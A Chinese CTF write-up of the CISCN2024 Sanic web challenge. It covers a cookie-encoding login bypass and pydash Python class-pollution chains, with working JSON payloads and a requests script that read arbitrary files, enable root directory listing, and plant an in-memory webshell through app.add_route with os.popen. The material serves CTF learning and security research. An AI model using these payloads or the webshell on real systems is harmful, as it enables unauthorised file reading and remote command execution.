CISCN2024-WEB-Sanic gxngxngxn

gxngxngxn發表於2024-05-22

CISCN2024-WEB-Sanic 復現

風起CISCN

身為web🐕的我被國賽折磨了兩天,已經是體無完膚了。本次眾多web題中,最讓我影響深刻的還是第一天的Sanic這題,也是全場唯一一解題。比賽結束後,我迫不及待的想看看這題怎麼做,於是我詢問了神通廣大的p2✌,他如同天上降魔主,真乃人間太歲神。二話不說直接給我甩了一個wp,我已經被他深深的折服了!!!

殘缺的WP?

我滿懷期待的開啟了這神秘的潘多拉魔盒,我以為我馬上就可以接近真相了,結果給我來了坨大的,親看vcr:

不是,哥們,這exp怎麼只有半頁啊,我後面的內容呢?最關鍵的汙染鏈子沒了,身為web🐕的我當然不會就此妥協,既然沒有完整的汙染鏈,那我就自己找!!!

前情概要

由於本文主要是講後面汙染鏈的挖掘,所以本題的前面一些考點就簡略描述:

首先看下原始碼:

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

簡單分析一下,在/login路由處我們需要繞過user.lower() == 'adm;n'的限制,由於這裡是從session中讀取,所以預設是會在分號處截斷,直接傳肯定是不行的。怎麼繞過呢,很簡單,利用八進位制編碼一下就行了。這裡就不多說了,有興趣的師傅可以自己去研究一下這個RFC2068 的編碼規則

接著拿到admin的session以後就可以進入/admin路由了,這裡會呼叫pydash.set_函式,而且我們看到原始碼中特意標註了一個pydash==5.1.2,很明顯這裡存在一個漏洞點,其實也就是一個python的原型鏈汙染了。

那麼思路到這裡就很明確了,主要就是考察一個RFC2068 的編碼規則繞過和一個原型鏈汙染。

同時這裡waf了_.的組合,我們可以利用

__init__\\\\.__globals__

這種類似轉義的方式去繞過,這些都是些小插曲。

接下來好戲開場!!!

考點分析

由於Sanic是個陌生的框架,我們平常接觸FLASK的比較多,所以拿到這個框架就會有點手足無措。

我們可以看到src路由存在__file__

@app.route("/src")
async def src(request):
    return text(open(__file__).read())

一眼經典了屬於是,我們汙染這個屬性後就可以實現任意檔案讀取

{"key":".__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}


可以看到是成功的汙染了,但是嘗試讀取/flag時發現無法讀取,也就是不知道flag的位置。

這也就是這題的考點所在了,需要我們利用汙染的方式開啟列目錄功能,檢視根目錄下flag的名稱,再進行讀取

汙染鏈的尋找

既然如此,那我們就開找吧。首先我們講目光放在app.static這個註冊路由的功能上:

我們跟進原始碼檔案中檢視,

看到註釋中的解釋

主要看這兩個,大致意思就是directory_view為True時,會開啟列目錄功能,directory_handler中可以獲取指定的目錄

我們繼續跟進directory_handler:

發現他是呼叫了DirectoryHandler這個類,那繼續跟進這個類中

我們發現只要我們將directory汙染為根目錄,directory_view汙染為True,就可以看到根目錄的所有檔案了

那麼就開始入手吧,這裡為了方便,我稍微修改了原始碼用於本地除錯;

from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import sys
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
#Session(app)


#@app.route('/', methods=['GET', 'POST'])
#async def index(request):
    #return html(open('static/index.html').read())


#@app.route("/login")
#async def login(request):
    #user = request.cookies.get("user")
    #if user.lower() == 'adm;n':
        #request.ctx.session['admin'] = True
        #return text("login success")

    #return text("login fail")


@app.route("/src")
async def src(request):
    eval(request.args.get('gxngxngxn'))
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    key = request.json['key']
    value = request.json['value']
    if key and value and type(key) is str and '_.' not in key:
        pollute = Pollute()
        pydash.set_(pollute, key, value)
        return text("success")
    else:
        return text("forbidden")

#print(app.router.name_index['name'].directory_view)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

經過查詢資料可以發現,這個框架可以透過app.route.name_index['xxxxx']來獲取註冊的路由,我們可以列印看看


可以看到控制檯回顯了這個,上面都是我們註冊過的路由,我們可以透過前面的鍵值去訪問對應的路由


成功獲取到這個路由,接下來怎麼呼叫到DirectoryHandler裡呢?

我們可以全域性搜尋下name_index這個方法

找到這裡是系統預設的呼叫點,我們在這裡打個斷點開啟調式

我們可以看到我們現在就可以獲取到系統呼叫這個路由時的狀態,我們可以看它具有的屬性

發現可以從handler入手,一直可以獲取到DirectoryHandler中的directory和directory_view

我們按照這個思路試試:


可以看到成功進入到DirectoryHandler物件中,我們可以嘗試獲取directory_view屬性


成功獲取到這個的值,那麼就可以實現汙染了

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

注意這裡不能用[]來包裹其中的索引,汙染和直接呼叫不同,我們需要用.來連線,而

__mp_main.static

是一個整體,不能分開,我們可以用兩個反斜槓來轉義就夠了

可以看到是汙染成功了,訪問/static/,可以看到該目錄下的檔案

那麼接下來只要汙染directory就夠了,我們先獲取它的值


然後直接汙染,再次訪問/static/,你會驚奇的發現竟然500報錯了:

很明顯不能直接將這裡的值汙染這一個字串型別的,我們回到原來的地方

可以看到directory是一個物件,而它之前的值就是由其中的parts屬性決定的,但是由於這個屬性是一個tuple,不能直接被汙染,所以我們需要找到這個屬性是如何被賦值的?

我們回到DirectoryHandler類中

可以看到這裡是獲取一個Path物件我們跟進Path物件裡

可以看到parts的值最後是給了_parts這個屬性,我們訪問這個屬性看看:


看到這是一個list,那麼這裡很明顯我們就可以直接汙染了

到此,我們兩個汙染點的汙染鏈都已經明確,下面給出paylaod:

#開啟列目錄功能
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}
#將目錄設定在根目錄下{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

至此,已成藝術。

解題

下面利用ctfshow的環境來實現復現:

首先得到admin的session

然後掏出我的exp:

import requests

#開啟列目錄
data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

#將目錄設定在根目錄下
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

#讀取flag檔案
#data = {"key":"__init__\\\\.__globals__\\\\.__file__","value": "/flag檔名字"}

cookie={"session":"your_session"}

response = requests.post(url='http://127.0.0.1:8000/admin', json=data,cookies=cookie)

print(response.text)


至此,藝術已成!

找尋中的小插曲

在找尋鏈子的過程中磕磕碰碰,雖然艱難,但也讓我發現一些不一樣的風景

file_or_directory

機緣巧合之下我發現這玩意也可以汙染,而他有點像flask中的_static_url_path,汙染了以後可以透過路由直接訪問到檔案,請看vcr:

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}

記憶體🐎

因為前幾天剛研究了flask下的記憶體馬,對這玩意有點敏感,無聊時就恰好發現了這個sanic框架下的一個寫記憶體🐎的方式

eval('app.add_route(lambda request: __import__("os").popen(request.args.get("gxngxngxn")).read(),"/gxngxngxn", methods=["GET", "POST"])')

看到在報錯中成功回顯了命令的執行結果

可以在pickle的條件下利用???有些苛刻,師傅們有興趣的可以去研究研究